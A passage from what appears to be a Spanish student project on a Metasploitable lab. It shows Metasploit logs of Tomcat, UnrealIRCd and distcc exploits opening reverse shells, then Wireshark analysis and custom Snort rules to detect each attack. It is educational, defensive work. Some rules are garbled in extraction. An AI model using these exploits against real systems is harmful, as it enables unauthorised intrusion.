msf exploit(tomcat_mgr_deploy) > exploit

[*] Started reverse handler on 192.168.1.60:4444
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6460 bytes as lLMp0fk6J1xuGf.war ...
[*] Executing /lLMp0fk6J1xuGf/SbI28Snf8RRELS.jsp...
[*] Undeploying lLMp0fk6J1xuGf ...
[*] Sending stage (30216 bytes) to 192.168.1.61
[*] Meterpreter session 3 opened (192.168.1.60:4444 -> 192.168.1.61:56017)
at 2013-05-29 04:27:19 +0200

meterpreter >


Continuamos atacando, vamos a ir a por ircd.
use exploit/unix/irc/unreal_ircd_3281_backdoor

msf exploit(unreal_ircd_3281_backdoor) > exploit

[*] Started reverse double handler
[*] Connected to 192.168.1.61:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname;
using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo aFYmAIgTDIkqluNO;
[*] Writing to socket A
[*] Writing to socket B


30
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "aFYmAIgTDIkqluNO\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 50 opened (192.168.1.60:4444 ->
192.168.1.61:52986) at 2013-05-29 19:27:37 +0200


Seguimos descubriendo y explotando vulnerabilidades con:
exploit/unix/misc/distcc_exec

msf exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo HVGOUHHkmgf6edsA;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "HVGOUHHkmgf6edsA\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 65 opened (192.168.1.60:4444 ->
192.168.1.61:54724) at 2013-05-29 21:52:15 +0200





















31
4. Defensa
4.1. Esnifando paquetes con Wireshark
Mientras hacamos los anteriores ataques, estuvimos capturando el trfico en la mquina
virtual Metasploitable. Buscaremos el trfico que caracterice a cada uno de los ataques para poder
crear las reglas Snort correspondientes.

4.1.1. Trfico caracterstico
Veamos qu caracteriza a cada uno de los ataques anteriores:
vsFTPd: Debido a que sta versin de vsFTPd se distribuy con un backdoor durante un
breve periodo de tiempo, podemos observar que lo nico que hace el exploit es autenticarse con
usuario y contrasea predefinida. Por lo tanto no nos es posible diferenciar el trfico generado por
el exploit de un acceso legtimo, a excepcin del usuario usado. Ah ser donde nos apoyaremos
para crear nuestra primera regla de Snort.

Figura 22. Trfico capturado con Wireshark

Repitiendo el ataque vemos que el nombre de usuario cambia, pero los dos ltimos
caracteres son siempre los mismos :).

Samba: La vulnerabilidad explotada tiene el identificador 2007-2447. Y tal y como
podemos ver en la ficha de la vulnerabilidad, permite a un atacante ejecutar cdigo arbitrario.

Lo realmente interesante se encuentra aqu.

Figura 23. Trfico capturado con Wireshark

En el campo Account se usan caracteres que no se parsean correctamente, produciendo lo
que hemos visto anteriormente. Ese ser nuestro punto de partida para generar la regla Snort.



32
Java RMI Server: Repasando la captura de Wireshark, lo que ms nos llama la atencin es
la peticin GET que hace el equipo vctima al equipo atacante.

Figura 24. Trfico capturado con Wireshark

Figura 25. Detalles de un paquete

Que nuestro servidor se descargue un fichero .jar desde un sitio externo no tiene ningn
sentido, por lo que eso ser lo que usaremos como identificacin para que se active la regla Snort.
PHP CGI:
Figura 26. Trfico capturado con Wireshark

Esta vulnerabilidad se produce cuando PHP est configurado como CGI script ya que no
maneja correctamente las cadenas de consulta que no tienen un smbolo igual (=) que permite al
atacante ejecutar cdigo arbitrario.

Si nos fijamos en la captura, podemos observar que el principal problema se encuentra en
auto_prepend_file. Esa ser la cadena que buscaremos para detectar el ataque.

TOMCAT:
Si repasamos la captura, vemos que ha generado algo ms de mil paquetes. Leyendo la
informacin que nos proporciona el comando info, encontramos que se usa un PUT para subir el


33
fichero, ese ser nuestro identificador caracterstico del ataque. Debemos ir al paquete 842 para
encontrarlo.


Figura 27. Trfico capturado con Wireshark

ircd:
Este ataque permite ejecutar cdigo arbitrario.

Figura 28. Trfico capturado con Wireshark

Es sencillo de identificar.

Distcc:
Parecido al anterior, permite ejecutar cdigo arbitrario.
Figura 29. Trfico capturado con Wireshark

Nuevamente usaremos sleep como identificador.








34

4.2. Creacin de reglas Snort
Con toda la informacin recogida anteriormente, podemos comenzar a crear las reglas de
Snort.
4.2.1. Ficheros de configuracin y reglas
Una vez instalado Snort, tendremos un directorio creado en /etc/snort/rules en el que se
encuentran varios ficheros de reglas, separados por tipo de reglas, podremos aadir las nuestras al
final de dichos ficheros o crear uno nuevo. Vamos a elegir la segunda opcin, para tenerlo todo
centralizado en un nico fichero.
Usamos el comando touch y creamos un fichero perso.rules.

touch /etc/snort/rules/perso.rules

Luego modificamos el fichero snort.conf y aadimos al final:
nano /etc/snort/snort.conf

#Custom rules
include $RULE_PATH/perso.rules

Reiniciamos Snort para que cargue nuestro fichero.
Las alertas producidas por Snort se quedarn anotadas en la ruta /var/log/snort/
[13][14][15]

4.2.2. Creacin y funcionamiento
Pues aclarado esto, comenzamos a crear nuestra primera regla, abrimos el fichero perso.rules
y seguimos el esquema de reglas Snort que vimos en el punto 2.1.4.
vsFTPd: Buscamos el paquete que enva el usuario FTP, que contiene la cadena :) y
obtenemos su valor en hexadecimal: |3a 29|.

Por lo tanto, sabemos que el puerto de destino es el 21 (FTP) y que el paquete contiene los
siguientes caracteres :). Aadimos el texto para la alerta, le asignamos un sid y formamos la regla:

alert tcp any any any 21 (msg:vsFTPd backdoor detected; sid:80000000;
rev:1; classtype:suspicious-login; content:|3a 29|;)

Lanzamos de nuevo el exploit y revisamos los logs:


35

Figura 30. Alerta generada por Snort

Vemos que se ha generado la alerta.

Samba:

Estudiando ms a fondo el paquete que marcamos antes, sacamos que: El puerto de destino
es el 139, que el paquete lleva siempre una cadena de texto sleep que en un modo de uso y
funcionamiento normal, no existira y que la vulnerabilidad est identificada como CVE-2007-2447

alert tcp any any any 139 (msg:Samba usermap_script; sid:
80000001; rev: 1; classtype: string-detect; content:sleep; reference:cve,
2007-2447;)


Figura 31. Alerta generada por Snort

Java RMI: A diferencia de los anteriores, la conexin se realiza del equipo vctima al
atacante, por lo que la direccin IP de origen se encontrar en la red local del equipo vctima, el
puerto de destino al que se conecta es al 8080 y pretende descargar un fichero con extensin .jar.

alert tcp $HOME_NET any any 8080 (msg: Java RMI illegal usage;
sid: 80000002; rev: 1; classtype: suspicious-filename-detect;
content: .jar;)


Figura 32. Alerta generada por Snort

PHP CGI: Nuevamente, el puerto de destino es el 80, en el paquete siempre se encuentra la
cadena auto_prepend_file y tiene como identificador el CVE-2012-1823.


alert tcp any any any 80 (msg: PHP CGI arg injection; sid:
80000003; rev:1; classtype: web-application-attack;
content: auto_prepend_file; reference: cve, 2012-1823;)



36

Figura 33. Alerta generada por Snort

Tomcat: El puerto de destino es el 8180, contiene una cadena tal que PUT
/manager/deploy?path

alert tcp any any any 8180 (msg: Apache Tomcat Manager App code
execution; sid: 80000004; rev:1; classtype: web-application-attack;
content: PUT /manager/deploy?path; content: WEB-INF;)



Figura 34. Alerta generada por Snort

ircd: El puerto de destino es el 6667, contiene las cadenas AB;sh, sleep y telnet.

alert tcp any any any 6667 (msg:unreal ircd backdoor; sid: 80000005;
rev:1; classtype: string-detect; content: AB\;sh -c; reference: cve, 2010-
2075;)



Figura 35. Alerta generada por Snort.

distcc:

Como en los casos anteriores, sabemos el puerto de destino y cadenas que identifican el
ataque:

alert any any any 3632 (msg:distcc exec; sid: 80000006; rev: 1,
classtype: string-detect; content: |37 63 73 68 20 2d 63 20 27 28 73 6c 65
65 70|; reference: cve, 2004-2687;)


Figura 36. Alerta generada por Snort.




37
5. Conclusiones
Actualmente existen muchas herramientas que nos ayudan a securizar nuestros sistemas,
como muestra tenemos las que hemos utilizado para la realizacin de este proyecto. Unas son ms
intuitivas y sencillas de usar que otras, pero todas ampliamente documentadas, cosa que es de
agradecer a la hora de aprender.
Con la herramienta Metasploit he podido profundizar ms sobre distintos mtodos de ataque,
ver cmo funcionan y hacer un estudio ms detallado, todo sobre un entorno completamente
controlado. Si bien los resultados obtenidos han sido beneficiosos, solo refleja una parte de la
realidad que vivimos ya que los ataques son cada vez ms sofisticados, vase Stuxnet o Mandiant
APT-1.
El uso de un IDS, Snort en este caso, es una parte importante para mejorar la seguridad de
una red, pero no es suficiente por s solo. Es obligatorio combinarlo con otro tipo de dispositivos de
seguridad, tales como: firewalls, WAF o IPS, y con otras aplicaciones, como antivirus, sin dejar de
lado el propio sistema operativo, que debe mantenerse actualizado, al igual que todo el software
instalado en el mismo.
A pesar de tener a nuestra disposicin esa gran cantidad de dispositivos y herramientas, las
empresas y nosotros mismos, como administradores de sistemas y seguridad, debemos hacer lo
posible por concienciar a los usuarios de los peligros que nos acechan continuamente, pues un clic
en un enlace de un correo electrnico aparentemente inofensivo o el conectar un pendrive USB que
se han encontrado en la puerta de la empresa, puede tirar por tierra todo el trabajo y dinero invertido
en securizar el entorno.
Por ello, debemos mantener un equilibrio entre la potencia de la mquina y el sentido comn
humano ya que si uno de los dos falla, todo se viene abajo.






















38
6. Referencias bibliogrficas

[1] Snort (software), Wikipedia. [En lnea]. Disponible en:
http://en.wikipedia.org/wiki/Snort_(software). [Accedido: 06-abr-2013].

[2] Snort. [En lnea]. Disponible en: http://www.snort.org/. [Accedido: 21-mar-2013].

[3] Snort:: License, Snort. [En lnea]. Disponible en: http://www.snort.org/snort/license.
[Accedido: 06-abr-2013].

[4] Metasploit Project, Wikipedia. [En lnea]. Disponible en:
http://en.wikipedia.org/wiki/Metasploit_Project. [Accedido: 25-may-2013].

[5] Nmap, Wikipedia. [En lnea]. Disponible en: http://es.wikipedia.org/wiki/Nmap.
[Accedido: 11-may-2013].

[6] Nmap, Wikipedia. [En lnea]. Disponible en: http://en.wikipedia.org/wiki/Nmap.
[Accedido: 11-may-2013].

[7] Nessus. [En lnea]. Disponible en: http://www.tenable.com/products/nessus [Accedido: 21-
may-2013]

[8] Wireshark, Wikipedia. [En lnea]. Disponible en: http://en.wikipedia.org/wiki/Wireshark.
[Accedido: 15-may-2013].

[9] Wireshark. [En lnea]. Disponible en: http://www.wireshark.org. [Accedido: 25-may-2013].

[10] Working With Nessus, Metasploit Unleashed. [En lnea]. Disponible en:
http://www.offensive-security.com/metasploit-unleashed/Working_With_Nessus. [Accedido:
25-may-2013].

[11] Metasploit Unleashed, Offensive Security. [En lnea]. Disponible en:
http://www.offensive-security.com/metasploit-unleashed/Main_Page. [Accedido: 21-abr-2013].

[12] Metasploitable 2 Exploitability Guide, SecurityStreet. [En lnea]. Disponible en:
https://community.rapid7.com/docs/DOC-1875. [Accedido: 25-may-2013].

[13] Rafeeq Ur Rehman, Rule Options | Working with Snort Rules, InformIT. [En lnea].
Disponible en: http://www.informit.com/articles/article.aspx?p=101171&seqNum=6ent/18/.
[Accedido: 03-may-2013].

[14] Carlos Jimnez Galindo, PFC Diseo y Optimizacin de un Sistema de Deteccin de
Intrusos Hbrido - ASO, Universidad de Almera, 2009.

[15] Sistemas de Deteccin de intrusos y Snort, Maestros del Web . [En lnea]. Disponible en:
http://www.maestrosdelweb.com/editorial/snort/. [Accedido: 25-abr-2013].






39
7. Anexos
7.1 Contenido del fichero perso.rules

alert tcp any any -> any 21 (msg:"vsFTPd backdoor detected"; sid:80000000;
rev:1; classtype:suspicious-login; content:"|3a 29|";)

alert tcp any any -> any 139 (msg:"Samba usermap_script"; sid: 800000001; rev:1;
classtype:string-detect; content:"sleep"; reference:cve, 2007-2447;)

alert tcp $HOME_NET any -> any 8080 (msg:"Java RMI illegal usage"; sid:
80000002; rev:1; classtype:suspicious-filename-detect; content:".jar";)

alert tcp any any -> any 80 (msg:"PHP CGI arg injection"; sid: 80000003; rev:1;
classtype:web-application-attack; content:"auto_prepend_file"; reference:cve,
2012-1823;)

alert tcp any any -> any 8180 (msg:"Apache Tomcat code execution"; sid:80000004;
rev:1; classtype:web-application-attack; content: "/manager/deploy?path"; con-
tent:"WEB-INF";)

alert tcp any any -> any 6667 (msg:"Unreal ircd Backdoor"; sid:80000005; rev:1;
classtype: string-detect; content: "AB\;"; reference:cve, 2010-2075;)

alert tcp any any -> any 3632 (msg:"distcc exec"; sid:80000006; rev:1;
classtype: string-detect; content: "|37 63 73 68 20 2d 63 20 27 28 73 6c 65 65
70|";

También podría gustarte